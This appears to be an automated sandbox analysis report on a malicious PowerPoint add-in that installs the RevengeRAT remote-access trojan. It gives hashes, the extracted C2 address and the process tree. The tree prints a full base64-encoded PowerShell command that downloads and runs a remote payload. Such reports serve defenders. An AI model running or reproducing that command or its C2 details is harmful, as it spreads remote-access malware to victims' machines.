Analysis

  • max time kernel
    147s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    07-05-2023 09:17

General

  • Target

    Documentao.ppam

  • Size

    17KB

  • MD5

    4f1c17e2da8035b8fd827f0fc93a1a40

  • SHA1

    a47bf8b3d28d36279cb8a5a22f8c9a35206327a6

  • SHA256

    aebe55c79817edcc4acff994e9dcb9230487092073bec48ea87448b90db1f888

  • SHA512

    f80fb5e5f30191abd95bfec14637f2c7a47d8d1293cad3a9be20acafdd41aa5e833d17db8c65093a0c8b7d24b14e18a1d8092ef8acba5c4cd6a7dd6a620dc9b5

  • SSDEEP

    384:dXPW8kJL8XaHgQOeE2kq9KkqkPGv9tMp4V9zNNxChJd:VPFaAn2kqnRctMgbNxChJd

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentao.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1548
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9ADkAZQA0ADQANAAxAGYAMAAyAGUANQAzADkAMQBiADIAYwBlADMAMQBkAGIAYwA1AGYANQA0AGMAOQA5AGMAMABhAGQAZgAmAGIAaQBwAD0ATQBqAEEAeABMAGoASQB3AEwAagBFAHkATgB5ADQAeQBNAGoAWQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAG4AegBWAGsARgBGAG4AeQBTAEgAbgBWAHoARgBFAGQAVgB2AFIATwBCAGgAdQBUAE4AdgBDAFUAZQBRAHoAegBOAGsAVQBpAE0AaABrAE0ASwBGAFMASQBiAGQAYwBvAEgAeQBvAGQAUwBrAFoAaQBoAEcAQQBuAGQAQQANAAoA""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:600
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:1036

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/600-92-0x0000000002470000-0x0000000002488000-memory.dmp

        Filesize

        96KB

      • memory/600-86-0x0000000002470000-0x0000000002488000-memory.dmp

        Filesize

        96KB

      • memory/600-90-0x0000000002470000-0x0000000002488000-memory.dmp

        Filesize

        96KB

      • memory/600-63-0x0000000002600000-0x0000000002640000-memory.dmp

        Filesize

        256KB

      • memory/600-64-0x0000000002600000-0x0000000002640000-memory.dmp

        Filesize

        256KB

      • memory/600-65-0x0000000002600000-0x0000000002640000-memory.dmp

        Filesize

        256KB

      • memory/600-96-0x0000000002470000-0x0000000002488000-memory.dmp

        Filesize

        96KB

      • memory/600-85-0x0000000002470000-0x0000000002488000-memory.dmp

        Filesize

        96KB

      • memory/600-88-0x0000000002470000-0x0000000002488000-memory.dmp

        Filesize

        96KB

      • memory/600-94-0x0000000002470000-0x0000000002488000-memory.dmp

        Filesize

        96KB

      • memory/1036-99-0x0000000000090000-0x000000000009A000-memory.dmp

        Filesize

        40KB

      • memory/1036-111-0x0000000000090000-0x000000000009A000-memory.dmp

        Filesize

        40KB

      • memory/1036-97-0x0000000000090000-0x000000000009A000-memory.dmp

        Filesize

        40KB

      • memory/1036-98-0x0000000000090000-0x000000000009A000-memory.dmp

        Filesize

        40KB

      • memory/1036-101-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1036-100-0x0000000000090000-0x000000000009A000-memory.dmp

        Filesize

        40KB

      • memory/1036-104-0x0000000000090000-0x000000000009A000-memory.dmp

        Filesize

        40KB

      • memory/1036-103-0x0000000000090000-0x000000000009A000-memory.dmp

        Filesize

        40KB

      • memory/1036-108-0x0000000000090000-0x000000000009A000-memory.dmp

        Filesize

        40KB

      • memory/1644-60-0x0000000005540000-0x0000000005640000-memory.dmp

        Filesize

        1024KB

      • memory/1644-74-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/1644-59-0x0000000005540000-0x0000000005640000-memory.dmp

        Filesize

        1024KB

      • memory/1644-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB